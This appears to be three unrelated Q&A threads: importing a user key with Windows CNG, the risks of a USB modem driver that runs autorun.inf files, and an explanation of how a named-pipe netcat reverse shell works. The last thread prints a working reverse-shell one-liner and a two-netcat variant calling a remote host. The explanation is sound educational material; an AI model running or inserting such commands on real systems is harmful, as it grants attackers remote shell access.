How can i store encryption key into Microsoft provided Key container? I'm working on an application in which user will enter encryption key via GUI and my app will fetch that encryption key. Now i need to store that received key into Microsoft key container. I got this and this as a starting point and i know that i have to use this only. I am able to create key inside the container but i don't want to use this key. I have to store user entered key inside the container for later use in encryption/decryption process. Help highly appreciated. Thank you.

I think the link you provided above is one off--check here instead, which covers key import (what you need to start with). In short, you'll invoke BCryptImportKey or BCryptImportKeyPair, depending on if you're dealing with symmetric or asymmetric keys.

Once imported, use the various functions provided in CNG, probably starting with BCryptDecrypt and BCryptEncrypt.


USB modem software installs autorun.inf parser, are there any risks? A major telecommunications device manufacturer ships its USB modem with helper software and drivers so that the user can connect to the internet and send/receive SMS.

Since recent versions of Windows no longer execute autorun.inf files automatically, they have included a component with the driver that executes autorun.inf files automatically from similar devices; autorun.inf files from USB drives do not seem to get executed by the driver. (I assume that it checks the device ID before executing the autorun.inf file.)

Are there any risks associated with such a driver component?

Autorun used to be enabled by default in Windows XP, and would execute any file referenced by autorun.inf when a storage drive is plugged in. It used to be really easy to execute malware from an USB drive, just reference it in the autorun file and let Windows do the rest.

It was disabled in Windows Vista and later for obvious reasons, and yet this software reimplements its functionality, most likely as a cheap workaround so they don't have to print an information leaflet telling users to run the software manually.

Checking USB IDs is not sufficient as a rogue device can enumerate as any device, including the original modem's, and yet present a rogue file. Checking for a signature is risky as well, as you don't know how well the associated private key is protected (I wouldn't entrust anyone thinking this software is a good idea with a private key). There may also be vulnerabilities in the code that checks the device itself.

Finally we don't know how this is implemented. If this run as a service under the system user, then this would not only run potentially untrusted code from USBs but also run it as SYSTEM. Worse, this could be implemented as a device driver which means malicious code could be run with even higher privileges.

This device is a bad idea altogether - throw it in the bin and get a mobile<->Wi-FI bridge, those don't require any shady drivers and appear just like any untrusted host on the network, something you can defend against with a firewall.


Can pipe | shell | nc > pipe achieve remote shell? In one of the articles I have came across an exploit of Dell devices that said when you trigger the following line of code (executed somewhere in php) you will get a remote root shell :

mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.100 4444 >/tmp/f

I understand the part that by creating the fifo pipe and piping it to bash we can send shell commands on that pipe but why pipe it to nc and then redirect command to this pipe again?

This seems to be a reverse shell that creates a local shell (i. e., /bin/sh -i) and sends the output back to 192.168.1.100:4444 (i. e., nc 192.168.1.100 4444):

+-----------------+      +-----------------------+
| /bin/sh -i 2>&1 |----->| nc 192.168.1.100 4444 |
+-----------------+      +-----------------------+

Now what’s missing here is the output of the latter command being redirected back as input to the shell. And since the shell pipe | can only pipe the output to the command that is following it, a named pipe/FIFO file is used to connect the loose ends:

+------------+      +-----------------+      +-----------------------+
| cat /tmp/f |----->| /bin/sh -i 2>&1 |----->| nc 192.168.1.100 4444 |
+------------+      +-----------------+      +-----------------------+
       ^                                                  v
       +------------------ /tmp/f <-----------------------+

By this the output of nc 192.168.1.100 4444 becomes the input for /bin/sh -i.

If you would want to make this without the named pipe/fifo, you would need two nc channels, one for the shell’s input and one for the shell’s output:

nc 192.168.1.100 4444 | /bin/sh -i 2>&1 | nc 192.168.1.100 4445